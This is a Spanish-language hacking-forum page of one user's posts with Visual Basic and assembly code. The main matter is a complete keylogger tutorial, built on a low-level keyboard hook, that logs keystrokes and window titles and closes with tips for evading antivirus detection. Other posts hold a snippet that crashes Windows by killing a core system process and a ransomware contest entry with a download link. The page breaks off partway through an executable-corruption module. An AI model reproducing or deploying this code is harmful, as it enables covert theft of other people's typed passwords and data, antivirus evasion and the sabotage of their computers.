elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 [9] 10 11 12
81  Programación / Programación Visual Basic / [SNIPPET] mNativeTokens {RtlAdjustPrivilege - API Nativa} en: 18 Agosto 2009, 17:33 pm
Código
  1. '---------------------------------------------------------------------------------------
  2. ' Module    : mNativeTokens
  3. ' Author    : Karcrack
  4. ' Now$      : 18/08/2009  17:18
  5. ' Used for? : Get Privileges using Native API (RtlAdjustPrivilege)
  6. ' Reference :
  7. '           http://forum.sysinternals.com/forum_posts.asp?TID=15745
  8. '---------------------------------------------------------------------------------------
  9.  
  10. Option Explicit
  11. 'NTDLL
  12. Private Declare Function RtlAdjustPrivilege Lib "NTDLL" (ByVal Privilege As Long, ByVal bEnablePrivilege As Long, ByVal bCurrentThread As Long, ByRef OldState As Long) As Long
  13.  
  14. Public Enum PRIVILEGES_ENUM
  15.    SeAssignPrimaryTokenPrivilege = 3       ' Replace a process-level token
  16.    SeAuditPrivilege = 21                   ' Generate security audits.
  17.    SeBackupPrivilege = 17                  ' Grant all file read access (ACL Bypass)
  18.    SeChangeNotifyPrivilege = 23            ' Receive file/folder change notifications
  19.    SeCreateGlobalPrivilege = 30            ' Create global objects
  20.    SeCreatePagefilePrivilege = 15          ' Create pagefile
  21.    SeCreatePermanentPrivilege = 16         ' Create permanent shared object
  22.    SeCreateSymbolicLinkPrivilege = 33      ' (W.VISTA) Create symbolic links
  23.    SeCreateTokenPrivilege = 2              ' Create a token
  24.    SeDebugPrivilege = 20                   ' Open any process (ACL Bypass)
  25.    SeEnableDelegationPrivilege = 27        ' (W.2000) Trust users for delegation
  26.    SeImpersonatePrivilege = 29             ' Enable thread impersonation
  27.    SeIncreaseBasePriorityPrivilege = 14    ' Increase process priority
  28.    SeIncreaseQuotaPrivilege = 5            ' Increase process memory quota
  29.    SeIncreaseWorkingSetPrivilege = 30      ' (W.VISTA) Increase process WS
  30.    SeLoadDriverPrivilege = 10              ' Load/Unload driver
  31.    SeLockMemoryPrivilege = 4               ' Lock pages in memory
  32.    SeMachineAccountPrivilege = 6           ' Create user account
  33.    SeManageVolumePrivilege = 28            ' Manage files on a volume
  34.    SeProfileSingleProcessPrivilege = 13    ' Gather process profiling info
  35.    SeRelabelPrivilege = 32                 ' Modify object label
  36.    SeRemoteShutdownPrivilege = 24          ' Shutdown a remote computer
  37.    SeRestorePrivilege = 18                 ' Grant all file write access (ACL Bypass)
  38.    SeSecurityPrivilege = 8                 ' Manage auditying and security log
  39.    SeShutdownPrivilege = 19                ' Initiate Shutdown
  40.    SeSyncAgentPrivilege = 26               ' (W.2000) Use directory sync services
  41.    SeSystemEnvironmentPrivilege = 22       ' Modify firmware environment values
  42.    SeSystemProfilePrivilege = 11           ' Gather system profiling info
  43.    SeSystemtimePrivilege = 12              ' Change Time
  44.    SeTakeOwnershipPrivilege = 9            ' Change object owner (ACL Bypass)
  45.    SeTcbPrivilege = 7                      ' Idetify as a trusted, protected subsystem
  46.    SeTimeZonePrivilege = 34                ' (W.VISTA) Change time zone
  47.    SeTrustedCredManAccessPrivilege = 31    ' (W.VISTA) Access the Credential Manager (trusted caller)
  48.    SeUndockPrivilege = 25                  ' Remove from docking station
  49.    SeUnsolicitedInputPrivilege = 35        ' (ABSOL33T) Read unsolicited input (from terminal device)
  50. End Enum
  51.  
  52. Public Function AsignPrivilege(ByVal lPriv As PRIVILEGES_ENUM, Optional ByVal bEnable As Boolean = True, Optional ByVal bThread As Long = 0, Optional ByRef lOldState As Long) As Boolean
  53.    AsignPrivilege = (RtlAdjustPrivilege(lPriv, bEnable, bThread, lOldState) = 0)
  54. End Function
  55.  

El Enum es mas largo que el codigo :laugh: :laugh:

Bueno, creo que esta claro lo que hace este codigo... asigna privilegios a nuestra aplicacion utilizando un API nativa, y evitando hacer las llamadas a varias APIs para hacer esto mismo ;D

Saludos ;)
82  Programación / Programación Visual Basic / [VB6] Creacion de un Keylogger 'avanzado' {HOOK} en: 17 Agosto 2009, 19:18 pm
Este manual forma parte de la #1 CM EZINE...

Citar
Indice:

  • Introducción:
  • Que es un Keylogger?
  • Clases de Keyloggers.
  • Para que sirven?
  • Al grano:
  • APIs.
  • Declaraciones, Constantes y Tipos.
  • Funciones.
  • Código de ejemplo.
  • Despedida y consejos.



Introducción:

Que es un keylogger?

Código:
Un keylogger (Key=Tecla Logger=Registrador) es una herramienta de diagnóstico utilizada en el 
desarrollo de software que se encarga de registrar las pulsaciones que se realizan sobre el teclado, para
memorizarlas en un fichero y/o enviarlas a través de Internet.

Por lo tanto asumimos que registra las teclas que se presionan en el teclado.



Clases de Keyloggers.

Bueno, hay varios tipos de keyloggers, yo me voy a centrar en los de Software.

Hay tres tipos:

  • Ring 0: Los que se ejecutan desde el núcleo del sistema, lo que los hace bastante mas difíciles de eliminar.
  • Hook: Se ejecutan en Modo Usuario y utilizan un 'Enganche' al sistema, para que cuando se presione una tecla el sistema te advierte. Este es el método que trataremos en la parte practica.
  • Otros metodos: Estos son otros metodos, normalmente peores. Por ejemplo, un keylogger que cada cierto intervalo de tiempo compruebe tecla por tecla cual esta presionada.



Para que sirven?

Los keyloggers registran cualquier tecla pulsada en el sistema, por lo tanto pueden servir muchas cosas. Desde observar si tus empleados entran a webs a las que no deberían. Hasta para obtener información ajena de forma oculta.




Al grano:

APIs:

Las apis que usaremos serán las siguientes.:

  • CopyMemory: Para volcar la información del hook a una variable.
  • SetWindowsHookExA: Para establecer el hook al teclado.
  • CallNextHookEx: Para continuar con nuestro hook.
  • UnhookWindowsHookEx: Para deshacer el hook al teclado.
  • GetAsyncKeyState: Para saber si la tecla Shift esta presionada.
  • GetForegroundWindow: Para obtener la ventana que tiene el foco.
  • GetWindowTextA: Para obtener el texto de una ventana.



Declaraciones, Constantes y Tipos.

Constantes:

WH_KEYBOARD_LL =  13 : Esta constante contiene el valor que indica al API SetWindowsHookEx que tipo de Hook es.

Declaraciones Globales:

KBHook : Esta declaración global indica el numero asignado a nuestro Hook de teclado.

KeyData: Para almacenar las teclas recogidas antes de almacenarlas.

lHwnd : Para almacenar la ultima venta activa.

Tipos:

KBDLLHOOKSTRUCT : Para obtener la información que nos da el Hook.



Funciones:

Función para habilitar o deshabilitar el hook al teclado:

Código
  1. Public Sub ManageKeylogger(ByVal Enable As Boolean)
  2.    Select Case Enable
  3.        Case True
  4.            KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance,0)
  5.        Case False
  6.            Call UnhookWindowsHookEx(KBHook)
  7.    End Select
  8. End Sub

Función para recibir la información del AddressOf:

Código
  1. Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
  2.    Dim KeyBoardHook        As KBDLLHOOKSTRUCT
  3.  
  4.    If nCode = 0 Then
  5.        CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
  6.        With KeyBoardHook
  7.            If .Flags = 0 Or .Flags = 1 Then
  8.                If SaveLog(TranslateKey(.VkCode)) > 50 Then
  9.                    Call LogToFile(App.Path & "\Log.log")
  10.                End If
  11.            End If
  12.        End With
  13.    Else
  14.        KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
  15.    End If
  16. End Function

Función para pasar del valor numérico de la tecla a el valor correspondiente:

Código
  1. Private Function TranslateKey(ByVal KeyCode As Long) As String
  2.    Dim LngShift            As Long
  3.  
  4.    'Funcion optimizada para su uso en teclados españoles.
  5.  
  6.    LngShift = GetAsyncKeyState(vbKeyShift)
  7.    If KeyCode >= 58 And KeyCode <= 90 Then
  8.        TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
  9.    ElseIf KeyCode >= 96 And KeyCode <= 105 Then
  10.        TranslateKey = Chr(KeyCode - 48)
  11.    ElseIf KeyCode >= 112 And KeyCode <= 123 Then
  12.        TranslateKey = "{F" & KeyCode - 111 & "}"
  13.    Else
  14.        If KeyCode = 160 Then TranslateKey = ""
  15.        If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
  16.        If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
  17.        If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
  18.        If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
  19.        If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
  20.        If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
  21.        If KeyCode = 27 Then TranslateKey = "{ESC}"
  22.        If KeyCode = 46 Then TranslateKey = "{DEL}"
  23.        If KeyCode = 36 Then TranslateKey = "{HOME}"
  24.        If KeyCode = 35 Then TranslateKey = "{END}"
  25.        If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
  26.        If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
  27.        If KeyCode = 45 Then TranslateKey = "{PASTE}"
  28.        If KeyCode = 144 Then TranslateKey = "{NUM}"
  29.        If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
  30.        If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
  31.        If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
  32.        If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
  33.        If KeyCode = 13 Then TranslateKey = "{ENTER}"
  34.        If KeyCode = 8 Then TranslateKey = "{BACK}"
  35.        If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
  36.        If KeyCode = 9 Then TranslateKey = "{TAB}"
  37.        If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
  38.        If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
  39.        If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
  40.        If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
  41.        If KeyCode = 164 Then TranslateKey = "{ALT}"
  42.        If KeyCode = 165 Then TranslateKey = "{ALTGR}"
  43.        If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
  44.        If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
  45.        If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
  46.        If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
  47.        If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
  48.        If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
  49.        If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
  50.        If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
  51.        If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
  52.        If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
  53.        If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
  54.        If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
  55.        If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
  56.        If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
  57.        If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
  58.        If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
  59.        If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
  60.        If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
  61.        If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
  62.        If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
  63.        If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
  64.        If KeyCode = 145 Then TranslateKey = "{ROLL}"
  65.        If KeyCode = 44 Then TranslateKey = "{PRINT}"
  66.        If KeyCode = 19 Then TranslateKey = "{PAUSE}"
  67.        If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
  68.    End If
  69. End Function

Función para guardar la información pulsada en una variable:

Código
  1. Public Function SaveLog(ByVal sKey As String) As Double
  2.    Dim aHwnd               As Long
  3.    Dim WinText             As String
  4.    aHwnd = GetForegroundWindow
  5.  
  6.    If aHwnd <> lHwnd Then
  7.        lHwnd = aHwnd
  8.        WinText = String$(255, Chr$(0))
  9.        Call GetWindowText(aHwnd, WinText, Len(WinText))
  10.        WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
  11.  
  12.        KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now$ & "]" & vbCrLf
  13.    End If
  14.  
  15.    KeyData = KeyData & sKey
  16.  
  17.    SaveLog = Len(KeyData)
  18. End Function

Función para volcar la variable en un fichero:

Código
  1. Public Sub LogToFile(ByVal sPath As String)
  2.    Open sPath For Binary As #1
  3.        Put #1, , KeyData
  4.    Close #1
  5. End Sub




Código de ejemplo:

Código
  1. Option Explicit
  2.  
  3. '|||||||||||||||||||||||
  4. '|                     |
  5. '|Autor: Karcrack      |
  6. '|Fecha: 24/09/08      |
  7. '|                     |
  8. '|||||||||||||||||||||||
  9.  
  10.  
  11. Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
  12. Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
  13. Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
  14. Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
  15. Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
  16. Private Const WH_KEYBOARD_LL   As Long = 13
  17.  
  18. Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
  19. Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  20.  
  21. Public Type KBDLLHOOKSTRUCT
  22.    VkCode                  As Long
  23.    ScanCode                As Long
  24.    Flags                   As Long
  25.    Time                    As Long
  26.    DwExtraInfo             As Long
  27. End Type
  28.  
  29. Dim KBHook                  As Long
  30. Dim KeyData                 As String
  31. Dim lHwnd                   As Long
  32.  
  33. Public Sub ManageKeylogger(ByVal Enable As Boolean)
  34.    Select Case Enable
  35.        Case True
  36.            KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
  37.        Case False
  38.            Call UnhookWindowsHookEx(KBHook)
  39.    End Select
  40. End Sub
  41.  
  42. Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
  43.    Dim KeyBoardHook        As KBDLLHOOKSTRUCT
  44.  
  45.    If nCode = 0 Then
  46.        CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
  47.        With KeyBoardHook
  48.            If .Flags = 0 Or .Flags = 1 Then
  49.                If SaveLog(TranslateKey(.VkCode)) > 50 Then
  50.                    Call LogToFile(App.Path & "\Log.log")
  51.                End If
  52.            End If
  53.        End With
  54.    Else
  55.        KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
  56.    End If
  57. End Function
  58.  
  59. Private Function TranslateKey(ByVal KeyCode As Long) As String
  60.    Dim LngShift            As Long
  61.  
  62.    'Funcion optimizada para su uso en teclados españoles.
  63.  
  64.    LngShift = GetAsyncKeyState(vbKeyShift)
  65.    If KeyCode >= 58 And KeyCode <= 90 Then
  66.        TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
  67.    ElseIf KeyCode >= 96 And KeyCode <= 105 Then
  68.        TranslateKey = Chr(KeyCode - 48)
  69.    ElseIf KeyCode >= 112 And KeyCode <= 123 Then
  70.        TranslateKey = "{F" & KeyCode - 111 & "}"
  71.    Else
  72.        If KeyCode = 160 Then TranslateKey = ""
  73.        If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
  74.        If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
  75.        If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
  76.        If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
  77.        If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
  78.        If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
  79.        If KeyCode = 27 Then TranslateKey = "{ESC}"
  80.        If KeyCode = 46 Then TranslateKey = "{DEL}"
  81.        If KeyCode = 36 Then TranslateKey = "{HOME}"
  82.        If KeyCode = 35 Then TranslateKey = "{END}"
  83.        If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
  84.        If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
  85.        If KeyCode = 45 Then TranslateKey = "{PASTE}"
  86.        If KeyCode = 144 Then TranslateKey = "{NUM}"
  87.        If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
  88.        If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
  89.        If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
  90.        If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
  91.        If KeyCode = 13 Then TranslateKey = "{ENTER}"
  92.        If KeyCode = 8 Then TranslateKey = "{BACK}"
  93.        If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
  94.        If KeyCode = 9 Then TranslateKey = "{TAB}"
  95.        If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
  96.        If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
  97.        If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
  98.        If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
  99.        If KeyCode = 164 Then TranslateKey = "{ALT}"
  100.        If KeyCode = 165 Then TranslateKey = "{ALTGR}"
  101.        If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
  102.        If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
  103.        If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
  104.        If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
  105.        If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
  106.        If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
  107.        If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
  108.        If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
  109.        If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
  110.        If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
  111.        If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
  112.        If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
  113.        If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
  114.        If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
  115.        If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
  116.        If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
  117.        If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
  118.        If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
  119.        If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
  120.        If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
  121.        If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
  122.        If KeyCode = 145 Then TranslateKey = "{ROLL}"
  123.        If KeyCode = 44 Then TranslateKey = "{PRINT}"
  124.        If KeyCode = 19 Then TranslateKey = "{PAUSE}"
  125.        If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
  126.    End If
  127. End Function
  128.  
  129. Public Function SaveLog(ByVal sKey As String) As Double
  130.    Dim aHwnd               As Long
  131.    Dim WinText             As String
  132.    aHwnd = GetForegroundWindow
  133.  
  134.    If aHwnd <> lHwnd Then
  135.        lHwnd = aHwnd
  136.        WinText = String$(255, Chr$(0))
  137.        Call GetWindowText(aHwnd, WinText, Len(WinText))
  138.        WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
  139.  
  140.        KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
  141.    End If
  142.  
  143.    KeyData = KeyData & sKey
  144.  
  145.    SaveLog = Len(KeyData)
  146. End Function
  147.  
  148. Public Sub LogToFile(ByVal sPath As String)
  149.    Open sPath For Binary As #1
  150.        Put #1, , KeyData
  151.    Close #1
  152. End Sub
  153.  




Despedida y consejos.

Hasta aquí el manual, me ha llevado aproximadamente escribir y codear el manual 1 hora y 30 minutos... a ver si a la próxima supero mi marca :xD

Bueno, recomendaciones, hay muchas... entre ellas no copiéis tal cual el code, porque se hará detectable en cuestión de minutos (si no lo es ya). Para hacer indetectable este código debéis cargar las APIs en ejecución, porque la heuristica salta seguro.

Saludos :D

Happy Coding ;)

Saludos ;D
83  Programación / Programación Visual Basic / [SRC]- mGetAPIPtr, sacar el puntero de un API... nuevo metodo :P en: 11 Agosto 2009, 13:54 pm
Bueno, despues de estar investigando he conseguido sacar el Puntero de un API llamando a DllFunctionCall@MSVBVM60.DLL...

Como todo programador de VB6 debe saber al llamar un API externa desde VB se llama a DllFunctionCall para sacar el puntero... osea, las APIs declaradas directamente desde el codigo no se agregan a la IAT...

Y bueno, decidi aprovecharme de eso :rolleyes:

Código
  1. Option Explicit
  2. '---------------------------------------------------------------------------------------
  3. ' Module    : mGetAPIPtr
  4. ' Author    : Karcrack
  5. ' Now$      : 11/08/2009  13:07
  6. ' WebPage   : http://www.advancevb.com.ar
  7. ' Used for? : Get API Pointer withouth calling any external API
  8. ' Thanks.   :
  9. '       - Cobein: Support and Unicode-ANSI function (=
  10. '---------------------------------------------------------------------------------------
  11.  
  12. 'MSVBVM60
  13. Private Declare Function DllFunctionCall Lib "MSVBVM60" (ByRef typeAPI As tAPICall) As Long
  14.  
  15. Private Type tAPICall
  16.    ptsLIB              As Long ' Pointer to ANSI String that contains Library
  17.    ptsProc             As Long ' Pointer to ANSI String that contains Procedure
  18.    lReserved           As Long ' Just reserved...
  19.    lPointer            As Long ' Pointer to the buffer that will contain temp variables from DllFunctionCall
  20.    lpBuffer(3)         As Long ' Buffer that will contain temp variables
  21. End Type
  22.  
  23. Public Function GetAPIPtr(ByVal sLib As String, ByVal sProc As String) As Long
  24.    Dim tAPI            As tAPICall
  25.    Dim bvLib()         As Byte
  26.    Dim bvMod()         As Byte
  27.  
  28.    Call Unicode2ANSI(sLib, bvLib)
  29.    Call Unicode2ANSI(sProc, bvMod)
  30.  
  31.    With tAPI
  32.        .ptsLIB = VarPtr(bvLib(0))
  33.        .ptsProc = VarPtr(bvMod(0))
  34.        .lReserved = &H40000
  35.        .lPointer = VarPtr(.lpBuffer(0))
  36.    End With
  37.  
  38.    GetAPIPtr = DllFunctionCall(tAPI)
  39. End Function
  40.  
  41. 'COBEIN (=
  42. Private Sub Unicode2ANSI(ByVal sUNICODE As String, ByRef bvANSI() As Byte)
  43.    Dim i           As Long
  44.  
  45.    ReDim bvANSI(Len(sUNICODE))
  46.    For i = 1 To Len(sUNICODE)
  47.        bvANSI(i - 1) = Asc(Mid$(sUNICODE, i, 1))
  48.    Next i
  49. End Sub

Con esto solo no podemos llamar a las APIs, asi que he modificado el codigo de Cobein del cInvoke
para que llama al puntero que le pases... Aqui hay un ejemplo bastante claro:
Código:
http://www.box.net/shared/tbbihznz6r

Ah! Si pretendeis llamar APIs que pidan Strings recordar usar la version UNICODE de esa API (*W)

Saludos ;D
84  Programación / Programación Visual Basic / [SNIPPET] mBSOD - Revienta tu Windows en: 17 Julio 2009, 13:42 pm
Código
  1. '---------------------------------------------------------------------------------------
  2. ' Module    : mBSOD
  3. ' Author    : Karcrack
  4. ' Now$      : 16/07/2009  18:08
  5. ' Used for? : Make a BSOD on W$
  6. ' Tested On : W. XP ... W. Vista (Thanks Kiash)... W. Seven (Thanks SkyWeb/Dessa)
  7. '---------------------------------------------------------------------------------------
  8.  
  9. Option Explicit
  10.  
  11. 'NTDLL
  12. Private Declare Function CsrGetProcessId Lib "ntdll.dll" () As Long
  13. Private Declare Function RtlAdjustPrivilege Lib "ntdll.dll" (ByVal Privilege As Long, ByVal Enable As Long, ByVal Client As Long, WasEnabled As Long) As Long
  14. 'KERNEL32
  15. Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  16. Private Declare Function TerminateProcess Lib "kernel32.dll" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
  17.  
  18. Public Sub CrashWindows()
  19.    Dim hProc       As Long
  20.  
  21.    Call GetAllPrivilegies
  22.  
  23.    hProc = OpenProcess(&H1F0FFF, 0&, CsrGetProcessId) ' &H1F0FFF = PROCESS_ALL_ACCESS
  24.    Call TerminateProcess(hProc, 0&)
  25. End Sub
  26.  
  27. Private Sub GetAllPrivilegies()
  28.    Dim i           As Long
  29.  
  30.    For i = 0 To 200: Call RtlAdjustPrivilege(ByVal i&, 1, 0, 0): Next i
  31. End Sub

Si alguien puede que lo pruebe en Windows Vista o Windows 7...

Gracias por probarlo, Kiash, SkyWeb, Dessa
85  Programación / ASM / [FASM-SRC]IsUserAnAdmin [Estrenando SubForo :P] en: 20 Mayo 2009, 18:49 pm
Bueno, posteo esto mas que nada para estrenar el SubForo :P

Código
  1. include 'win32ax.inc'
  2. entry Main
  3.  
  4. section '.code' code readable executable
  5. Main:
  6. invoke IsUserAnAdmin
  7. test eax, eax
  8.       jz .No
  9. invoke MessageBoxA, 0, Sip, Title, 0
  10.       jmp .Exit
  11.       .No:
  12. invoke MessageBoxA, 0, No, Title, 0
  13.       .Exit:
  14. invoke ExitProcess, 0
  15.  
  16. ;section '.data' data readable writeable
  17. Sip db 'Si', 0
  18. No db 'No', 0
  19. Title db 'Somos Admin?', 0
  20.  
  21. section '.idata' import data readable
  22. library K32, 'KERNEL32.DLL',\
  23. S32, 'SHELL32.DLL',\
  24. U32, 'USER32.DLL'
  25. import K32, ExitProcess, 'ExitProcess'
  26. import S32, IsUserAnAdmin, 'IsUserAnAdmin'
  27. import U32, MessageBoxA, 'MessageBoxA'

Simplemente usa el API de Shell32 llamada 'IsUserAnAdmin'

Más información sobre el API:
Código:
http://msdn.microsoft.com/en-us/library/bb776463.aspx

Saludos ;D

PD:A disfrutar del SubForo! :P

PD2: Propongo mover los Mensajes relacionados con ASM que hay en Programacion General AQUI! :xD
86  Seguridad Informática / Abril negro / [ABRIL NEGRO][MALWARE]Karcrack Ransom en: 28 Abril 2009, 16:24 pm
Que es?
Esta es el proyecto que presento este año para el Abril Negro ([Abril Negro 2009] Concurso de desarrollo de malware)

Antes que nada definicion de Ransomware:
Citar
Ransomware es un malware [...] que mediante distintas técnicas imposibilita al dueño de un documento acceder al mismo. El modo más comúnmente utilizado es cifrar con clave dicho documento y dejar instrucciones al usuario para obtenerla, posterior al pago de "rescate".
Como esto es un concurso no voy a pedir rescate :xD

Como trabaja?
Estos son los pasos que sigue el Malware:
  • Enumera los ficheros accedidos recientemente
  • Obtiene la ruta de estos ficheros y comprueba que todavia existen
  • Los 'cifra' y agrega el codigo que mostrará el mensaje pidiendo 'rescate' :xD
Por cierto, el codigo lleva una encriptacion bastante debil.

Descarga?
Aqui esta:
Código:
http://www.box.net/shared/3oull7lb59

Solo queda decir que este es el primer malware que distribuyo :P

Saludos ;)
87  Programación / Programación Visual Basic / [SOURCE][RET Exe Corruption] Corrompe cualquier Ejecutable en: 7 Abril 2009, 19:01 pm
Codigo relativo a este post:
Citar



Código
  1. '---------------------------------------------------------------------------------------
  2. ' Modulo    : mPatchExe
  3. ' Autor     : Karcrack
  4. ' Fecha-Hora: 07/04/2009  18:43
  5. ' Finalidad : Deshabilita cualquier ejecutable
  6. '---------------------------------------------------------------------------------------
  7.  
  8. Option Explicit
  9.  
  10. Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long)
  11.  
  12. Private Enum ImageSignatureTypes
  13.    IMAGE_DOS_SIGNATURE = &H5A4D     ''\\ MZ
  14.    IMAGE_OS2_SIGNATURE = &H454E     ''\\ NE
  15.    IMAGE_OS2_SIGNATURE_LE = &H454C  ''\\ LE
  16.    IMAGE_VXD_SIGNATURE = &H454C     ''\\ LE
  17.    IMAGE_NT_SIGNATURE = &H4550      ''\\ PE\0\0
  18. End Enum
  19.  
  20. Private Type IMAGE_DOS_HEADER
  21.    e_magic As Integer        ' Magic number
  22.    e_cblp As Integer         ' Bytes on last page of file
  23.    e_cp As Integer           ' Pages in file
  24.    e_crlc As Integer         ' Relocations
  25.    e_cparhdr As Integer      ' Size of header in paragraphs
  26.    e_minalloc As Integer     ' Minimum extra paragraphs needed
  27.    e_maxalloc As Integer     ' Maximum extra paragraphs needed
  28.    e_ss As Integer           ' Initial (relative) SS value
  29.    e_sp As Integer           ' Initial SP value
  30.    e_csum As Integer         ' Checksum
  31.    e_ip As Integer           ' Initial IP value
  32.    e_cs As Integer           ' Initial (relative) CS value
  33.    e_lfarlc As Integer       ' File address of relocation table
  34.    e_ovno As Integer         ' Overlay number
